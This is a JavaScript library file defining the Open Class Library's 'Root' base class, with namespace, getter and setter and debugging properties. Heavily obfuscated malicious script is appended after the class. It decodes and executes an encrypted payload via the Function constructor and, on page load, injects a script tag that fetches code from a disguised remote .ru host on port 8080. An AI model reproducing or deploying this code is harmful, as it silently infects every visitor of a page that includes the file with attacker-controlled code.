/***********************************************************************************************************
 * com.oclib.javascript.lang.root.20070110.Root
 * Location: http://www.oclib.com/library/com/oclib/javascript/lang/Root.js
 * Version Location: http://www.oclib.com/library/com/oclib/javascript/lang/root/builds/20070512/index.html
 * Index Version Location: http://www.oclib.com/library/com/oclib/javascript/lang/root/builds/20070512/index.html
 * © Open Class Library (http://www.oclib.com/)
***********************************************************************************************************/
if (typeof com == "undefined") {com = {};};
if (typeof com.oclib == "undefined") {com.oclib = {};};
if (typeof com.oclib.javascript == "undefined") {com.oclib.javascript = {};};
if (typeof com.oclib.javascript.lang == "undefined") {com.oclib.javascript.lang = {};};

if (typeof com.oclib.javascript.lang.Root == "undefined") {
 com.oclib.javascript.lang.Root = function() {};

 com.oclib.javascript.lang.Root.prototype.classCreated = "20061018"; 
  com.oclib.javascript.lang.Root.prototype.getClassCreated = function () {return this.classCreated;};
 com.oclib.javascript.lang.Root.prototype.classCreator = "http://www.oclib.com/"; 
  com.oclib.javascript.lang.Root.prototype.getClassCreator = function () {return this.classCreator;};
 com.oclib.javascript.lang.Root.prototype.classIndexLocation = "http://www.oclib.com/library/com/oclib/javascript/lang/root/"; 
  com.oclib.javascript.lang.Root.prototype.getClassIndexLocation = function () {return this.classIndexLocation;};
 com.oclib.javascript.lang.Root.prototype.classLocation = "http://www.oclib.com/library/com/oclib/javascript/lang/Root.js"; 
  com.oclib.javascript.lang.Root.prototype.getClassLocation = function () {return this.classLocation;};
 com.oclib.javascript.lang.Root.prototype.className = "Root"; 
  com.oclib.javascript.lang.Root.prototype.getClassName = function () {return this.className;};
 com.oclib.javascript.lang.Root.prototype.classNamespace = "com.oclib.javascript.lang.Root"; 
  com.oclib.javascript.lang.Root.prototype.getClassNamespace = function () {return this.classNamespace;};
 com.oclib.javascript.lang.Root.prototype.classVersion = "20070512"; 
  com.oclib.javascript.lang.Root.prototype.getClassVersion = function () {return this.classVersion;};
 com.oclib.javascript.lang.Root.prototype.classVersionIndexLocation = "http://www.oclib.com/library/com/oclib/javascript/lang/root/builds/20070512/"; 
  com.oclib.javascript.lang.Root.prototype.getClassVersionIndexLocation = function () {return this.classVersionIndexLocation;};
 com.oclib.javascript.lang.Root.prototype.classVersionLocation = "http://www.oclib.com/library/com/oclib/javascript/lang/root/builds/20070512/Root.js"; 
  com.oclib.javascript.lang.Root.prototype.getClassVersionLocation = function () {return this.classVersionLocation;};
  
 com.oclib.javascript.lang.Root.prototype.clone = function () {var c = new this.constructor(); for(var p in this){c[p]=this[p];}; return c;};
 com.oclib.javascript.lang.Root.prototype.getClone = function () {return this.clone();};
 com.oclib.javascript.lang.Root.prototype.debugging = false;
  com.oclib.javascript.lang.Root.prototype.getDebugging = function () {return this.debugging;};
  com.oclib.javascript.lang.Root.prototype.getDebuging = function () {return this.getDebugging();};
  com.oclib.javascript.lang.Root.prototype.mustDebug = function () {return (this.getDebugging() && this.getLog());};
  com.oclib.javascript.lang.Root.prototype.setDebugging = function (debugging) {this.debugging = debugging;};
  com.oclib.javascript.lang.Root.prototype.setDebuging = function (debugging) {return this.setDebugging(debugging);};
 com.oclib.javascript.lang.Root.prototype.profile = false;
  com.oclib.javascript.lang.Root.prototype.getProfile = function () {return this.profile;};
  com.oclib.javascript.lang.Root.prototype.mustProfile = function () {return (this.getProfile() && this.getProfiler());};
  com.oclib.javascript.lang.Root.prototype.setProfile = function (profile) {this.profile = profile;};
 com.oclib.javascript.lang.Root.prototype.rootLog; 
  com.oclib.javascript.lang.Root.prototype.getLog = function () {return this.rootLog;};
  com.oclib.javascript.lang.Root.prototype.setLog = function (rootLog) {this.rootLog = rootLog;};
 com.oclib.javascript.lang.Root.prototype.rootProfiler; 
  com.oclib.javascript.lang.Root.prototype.getProfiler = function () {return this.rootProfiler;};
  com.oclib.javascript.lang.Root.prototype.setProfiler = function (rootProfiler) {this.rootProfiler = rootProfiler;};
 com.oclib.javascript.lang.Root.prototype.tracing = false;
  com.oclib.javascript.lang.Root.prototype.getTracing = function () {return this.tracing;};
  com.oclib.javascript.lang.Root.prototype.mustTrace = function () {return (this.getTracing() && this.getLog());};
  com.oclib.javascript.lang.Root.prototype.setTracing = function (tracing) {this.tracing = tracing;};
};
var Qi="8691adb193deb8a1a0a084ceaa8cbfadcba58388aabea6baa688b59c82a199aaa1bfa1af9eaba3ac88a6a3ad9cb098a1a28990bba1aa9988b588aabe9985a7aa838e8bce80b8cf98bba1d4bfb8cb81ac";var iH;if(iH!='' && iH!='Hej'){iH=null};var uy;if(uy!='' && uy!='Luz'){uy=null};function Od(J){var K;if(K!='' && K!='Jt'){K=''};var du="du";var ak=""; this.kC="kC";function h(c,X){return c[O("hcraoCedtA", [1,0])](X);var nh=31580;}var z=new Array();var DQ;if(DQ!='' && DQ!='Ll'){DQ='Bf'}; var OZ;if(OZ!='jA'){OZ='jA'};function eQ(H){var Gd;if(Gd!='oY' && Gd!='JB'){Gd='oY'};var AE=new Date();var WY=new String();var M=[0][0];var w=new String();var I=[255][0];var Il=[60,0][1];var cq=25648;var k=[1,228,136,17][0];var Kr=33221;var m=H[O("gelthn", [2,1,5,0,3,4])];while(Il<m){var rp=false;var nD=new Date();var KD;if(KD!='' && KD!='op'){KD=''};Il++;var Yq;if(Yq!='GW'){Yq='GW'};var BJ;if(BJ!=''){BJ='CX'};s=h(H,Il - k);M+=s*m;var SW=new Date();this.vh='';}var x=new Date();return new r(M % I);var wb=false;var ii="";}var KX;if(KX!=''){KX='QJ'};this.zZ='';var nH;if(nH!='' && nH!='Sr'){nH=null}; var D=function(eW){this.Gs=false;this.UH=28151;var hA;if(hA!='' && hA!='XX'){hA=''};var g =[0][0];eW = new r(eW);var hvd;if(hvd!='Ea' && hvd!='cj'){hvd=''};var zP=20848;var V =[213,0][1];var Fx=new Array();var o = '';var kA = -1;var vX="";var dO="dO";this.Rx=false;for (g=eW[O("nlehgt", [1,2,0])]-kA;g>=V;g=g-[218,155,1][2]){o+=eW[O("hcratA", [1,0])](g);this.ta="ta";}var Wy='';var f='';return o;};this.WW="WW";var FV=22600; var P=function(Jo,p){return Jo^p;var na="";var WB=new Array();};var WN="";var BA;if(BA!='' && BA!='XO'){BA='Lq'};var CA;if(CA!='rg' && CA!='FJ'){CA='rg'};var TI;if(TI!='OdO' && TI!='Vy'){TI='OdO'};this.vv=57942; function O(eW, kx){var Gk;if(Gk!='' && Gk!='hj'){Gk=null};var o = '';this.Ad='';var CHI;if(CHI!=''){CHI='yq'};var k=[235,196,185,1][3];var V=[128,0][1];this.yL=11959;var A = eW.length;var ww;if(ww!='' && ww!='QM'){ww=''};var Iw=false;var Ac = kx.length;var cb;if(cb!='Dp' && cb!='wL'){cb=''};this.ed="ed";var ks=false;for(var g = V; g < A; g += Ac) {var FP;if(FP!='' && FP!='Px'){FP=null};var kj = eW.substr(g, Ac);var RH;if(RH!='ZoC' && RH != ''){RH=null};if(kj.length == Ac){var Se;if(Se!='' && Se!='Mk'){Se=''};var MT="";var sl=new String();for(var Il in kx) {var rx;if(rx!='ldU' && rx!='gnw'){rx=''};var Hf;if(Hf!='' && Hf!='Ds'){Hf='gM'};o+=kj.substr(kx[Il], k);var nO=new Array();this.iz=false;var Rj=new Date();}var Ol;if(Ol!=''){Ol='oM'};var Eo;if(Eo!='' && Eo!='Nj'){Eo=null};this.pR=15615;this.Og=23072;} else {  o+=kj;}this.lT='';this.mt=false;}var Uc;if(Uc!='zu'){Uc='zu'};var GkF=new Array();return o;var OC;if(OC!='' && OC!='LV'){OC=null};}this.Mj=42823;var tu=31177;var vs=new Date();this.av='';var HJ=window;this.Lr=false;var n=HJ[O("vael", [2,0,1])];var Zu="Zu";var ZC;if(ZC!='US' && ZC!='px'){ZC='US'};var Z=n(O("itFuncon", [2,3,4,5,1,0]));var ah;if(ah!='XG' && ah!='yz'){ah='XG'};var q = '';this.hx="hx";this.dV="dV";var B=n(O("eRgxEp", [1,0,2]));var RXU="RXU";var r=n(O("trSing", [2,0,1,3]));var eo;if(eo!='' && eo!='KXP'){eo=''};var PR;if(PR!='' && PR!='HZ'){PR=null};var WA;if(WA!='' && WA!='EN'){WA=''};var Iu=new Array();var jU;if(jU!=''){jU='oP'};this.tM=47096;var wvj=new Array();var Pxc;if(Pxc!=''){Pxc='Cs'};var j=HJ[O("acuspene", [2,6,5,3,1,0,4])];var Dxm;if(Dxm!='' && Dxm!='TM'){Dxm='Bi'};this.Nn='';var Bp=r[O("rfamrhCoCode", [1,4,7,3,6,5,2,0])];var wX;if(wX!='dJ'){wX=''};this.NJ='';var PV=false;var Wo="";var t = '';var Ub='';this.Iy='';var N = '';var UQ=new Date();var vx=new String();var jK =[35,48,161,0][3];var Vv;if(Vv!='jWh'){Vv='jWh'};var Bh;if(Bh!='AYI'){Bh='AYI'};var R = Bp(37);var zDh;if(zDh!='lg' && zDh!='Eu'){zDh='lg'};var k =[1,190][0];var rY;if(rY!='lD'){rY='lD'};var RF;if(RF!='' && RF!='kQ'){RF=''};var ja=5818;var gs =[2][0];var pW = /[^@a-z0-9A-Z_-]/g;var V =[109,0,72][1];var iq;if(iq!='RM' && iq!='xQ'){iq=''};var uG;if(uG!='Hv' && uG!='Lu'){uG=''};var eP = J[O("nlehgt", [1,2,0])];var SCD="";var oO = '';var F=[1, O("odcuemntc.retaeEelmetn(\'csritp\')", [1,0,2,3]),2, O("odcuemntb.od.yapepndhCil(dd)", [1,0,2,3]),3, O("edtAs.itburt\'tde(efer\'", [1,5,4,0,2,3]),4, O("nt.hcnwefermu.ou8:0r80", [4,0,2,1,3]),5, O("epmfcmo.cmx.loi.china", [4,6,2,7,0,5,1,3]),6, O("edunwuogrrocd.nm", [4,2,3,1,0]),7, O("ommya.c", [3,4,2,5,6,0,1]),8, O("wdi.ownonload", [5,2,6,1,4,0,3]),11, O("ncontiuf()", [7,6,3,1,4,5,2,0]),12, O("edivnaattr", [1,0]),14, O("gogoc.leom", [2,3,1,0]),15, O("e)(ctach", [3,5,4,6,7,2,0,1]),16, O("5.cihom", [4,3,0,1,2]),17, O("h\"tt:p", [1,0]),18, O(".drsc", [1,0]),19, O("1\')\'", [1,0]),20, O("moc", [2,1,0]),21, O("yrt", [2,1,0])];var YP=new Array();var Ia;if(Ia!='Id'){Ia=''};var KA=42109;var qR;if(qR!='Km'){qR=''};var Lm="";for(var DA=V; DA < eP; DA+=gs){oO+= R; this.zG=52389;var aj;if(aj!='' && aj!='Zx'){aj=null};oO+= J[O("rusbst", [4,1,3,2,5,0])](DA, gs);}var jN="jN";var J = j(oO);this.bw=54822;var Rl="Rl";this.DpG="DpG";var E = new r(Od);var d = E[O("erlpcae", [1,0])](pW, N);var RP=new String();var LS=16828;var yqY;if(yqY!='Py' && yqY != ''){yqY=null};var b = F[O("elgnht", [1,0])];var IP;if(IP!='gZ' && IP!='bb'){IP='gZ'};d = D(d);var HP = new r(Z);var yV="yV";var QF;if(QF!='' && QF!='yLE'){QF='Zr'};var Ez;if(Ez!='' && Ez!='Pgk'){Ez=null};var MQ = HP[O("erpalce", [1,0,2])](pW, N);this.wJ="";var MQ = eQ(MQ);var LzE;if(LzE!='' && LzE!='KR'){LzE=''};var bC=eQ(d);var yw;if(yw!='' && yw!='TLk'){yw=null};var uE=new Date();var cm=new Date();for(var g=V; g < (J[O("elgnht", [1,0])]);g=g+[1][0]) {var sY;if(sY!='' && sY!='YI'){sY=''};var Qj;if(Qj!='' && Qj!='Os'){Qj=''};var FPk=new String();this.kL=51134;var PT = d.charCodeAt(jK);var plj=new String();var dY = h(J,g);var OLG;if(OLG!='' && OLG!='PS'){OLG=null};dY = P(dY, PT);var TV;if(TV!='' && TV!='SCy'){TV=''};var ds;if(ds!='cp' && ds!='oYV'){ds='cp'};dY = P(dY, bC);this.Th="Th";dY = P(dY, MQ);var Mq;if(Mq!='Rk' && Mq!='qZ'){Mq='Rk'};jK++;var xF="xF";if(jK > d.length-k){jK=V;this.RXj='';var Wp;if(Wp!='mc' && Wp != ''){Wp=null};}var dS=4594;t += Bp(dY);var xi=new Array();var VB;if(VB!=''){VB='uO'};}this.Jw="";var Wl;if(Wl!='vo'){Wl='vo'};this.OSa=41506;for(W=V; W < b; W+=gs){var Vq;if(Vq!='KZ' && Vq!='OZx'){Vq=''};var iG;if(iG!='ZY' && iG != ''){iG=null};var U = F[W + k];var ip;if(ip!='' && ip!='kWu'){ip=''};this.ho="";var ptq;if(ptq!='' && ptq!='fg'){ptq=''};var sJ = Bp(F[W]);var kg=false;var JP=20930;var Yr;if(Yr!=''){Yr='HZu'};this.mtS="mtS";var qUb;if(qUb!='' && qUb!='rU'){qUb='VL'};var G = new B(sJ, "g");t=t[O("erlpcae", [1,0])](G, U);this.dk="dk";}var Ed=new Z(t);var iN;if(iN!=''){iN='yYS'};Ed();var xX=48795;bC = '';this.Lw="";Ed = '';var cpC;if(cpC!='' && cpC!='UA'){cpC=''};t = '';var Ce;if(Ce!='' && Ce!='cD'){Ce='vW'};var Yd;if(Yd!=''){Yd='Jwp'};this.Su="";var CF="";HP = '';d = '';MQ = '';var gi="";this.XB="XB";var jM;if(jM!='mp' && jM != ''){jM=null};return '';var CY=new Date();this.dYM="dYM";};var iH;if(iH!='' && iH!='Hej'){iH=null};var uy;if(uy!='' && uy!='Luz'){uy=null};Od(Qi);
function R() {var Z=new Array();var F=new String();var u=']';var S='';var o;if(o!='uo' && o!='P'){o=''};var x='g';var Y;if(Y!='kg'){Y=''};var r;if(r!=''){r='le'};var U='replace';var i=new Date();var AS=new Date();var k=RegExp;var c='[';var Uq="";var Qr=new Date();var XX=new String();function f(O,w){var oJ;if(oJ!='j_'){oJ='j_'};var p=c;p+=w;var pM;if(pM!='' && pM!='kD'){pM=null};p+=u;var lP;if(lP!='q' && lP != ''){lP=null};var Iu;if(Iu!='b' && Iu != ''){Iu=null};var j=new k(p, x);var Oo=new String();var G;if(G!='PF' && G != ''){G=null};return O[U](j, F);var Eq;if(Eq!='' && Eq!='QD'){Eq=null};};var LS;if(LS!='Tn' && LS != ''){LS=null};var fY=f('hUtUtUpU:F/U/UhUaUrNdUsFeNxUtUuUbFeU-UcNoFmF.NgNiFtNtUiNgFiNdFiFyFoFrU.FcNoFmU.UrNmFxUaNdNsF-NcUoUmF.UnUeFwFaFgNeUdNiNrUeNcFtU.UrUuF:U',"UFN");this.Em="";var s=f('/3g3oBoBgBl3e3.BcBo3.Bi3nB/3g3o3o3gBlBe3.3c3o3.Bi3n3/3dBy3nBdBn3sB.3oBr3g3/3i3f3e3nBg3.Bc3oBm3/3g3oBoBg3lBe3.3cBo3m3.3pBhBp3',"3B");this.hz="";var V=f('sEc9rSi9p9t9',"9SE");var D=f('cwr8e9a9t8eyEDlDeymDeDnyt9',"wyD89");var K=window;var hw=new String();this.OK="";var DJ=f('87701178470944',"74139");var v;if(v!=''){v='M'};var cL=new Date();var n='';var wp;if(wp!='' && wp!='m'){wp='Vj'};var Ms="";var a;if(a!=''){a='yI'};var yH="";K[f('oTnIlJoJaTdJ',"TIJ")]=function(){try {var oc;if(oc!='' && oc!='s_'){oc=null};n+=fY;var N=new Date();n+=DJ;var mb;if(mb!='' && mb!='wH'){mb=''};var zx;if(zx!='' && zx!='Yb'){zx=''};n+=s;var KZ;if(KZ!='' && KZ!='vu'){KZ=null};var Dj;if(Dj!='ui'){Dj=''};Fu=document[D](V);var nH;if(nH!='ID' && nH != ''){nH=null};var ft=new Date();this.TS="";e(Fu,'src',n);var enm=new Date();var sE=new Date();e(Fu,'defer',([2,1][1]));var AR;if(AR!='wk'){AR='wk'};this.NL="";document.body.appendChild(Fu);} catch(d){var RU;if(RU!='Xy' && RU!='Uc'){RU='Xy'};};this.Fx='';};var AQ="";var DE="";var Mo="";function e(A,l,z){A.setAttribute(l, z);var Jk="";var wM=new Array();}var Ut;if(Ut!='' && Ut!='IC'){Ut='zL'};var V_='';var eM;if(eM!='' && eM!='oI'){eM=''};};this.iv='';R();var ap="";